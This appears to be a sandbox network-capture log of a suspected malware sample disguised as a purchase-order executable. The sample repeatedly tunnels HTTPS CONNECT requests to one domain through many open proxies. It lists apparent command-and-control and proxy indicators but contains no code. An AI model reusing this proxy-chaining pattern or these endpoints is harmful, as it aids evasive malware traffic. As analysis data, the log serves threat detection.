Mar 11, 2024 16:42:25.138395071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.11	54071	125.122.26.242	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.004964113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735701084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.11	54068	93.157.248.108	88	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.012480974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.11	53667	74.118.80.244	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.016453028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.11	53685	188.136.164.140	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.020670891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.11	52487	45.195.149.79	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.026717901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.11	54081	42.193.58.96	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.038783073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.004021883 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.11	54133	142.54.236.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.052447081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.11	52383	148.72.212.183	45012	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.078366995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.235624075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329474926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438930035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.513437986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.11	54196	172.67.181.37	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.078685045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.233135939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.11	54212	172.67.181.9	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.084673882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.239120960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.11	54099	49.254.240.252	21028	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.122133970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985625982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.500180960 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.11	54235	104.20.51.99	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.133797884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.288120985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.11	54237	172.67.181.149	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.135457039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.289716959 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.11	53755	139.162.238.184	22243	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.139744997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.235625982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329493999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438915014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.513461113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.579066992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.579087973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.11	52459	197.242.146.109	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.147001982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188776970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188952923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.282557011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.282223940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.11	52523	54.36.122.16	44587	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.160764933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.235760927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329500914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438930035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.513472080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.579296112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.579297066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.579062939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.11	54214	154.12.253.232	57447	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.160856962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735557079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.439100981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.720614910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.142247915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.641936064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.033622980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.829725027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.11	54130	8.217.143.187	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.167690992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.11	52512	18.169.83.87	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.171371937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.466653109 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.11	54284	104.17.66.69	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.171683073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
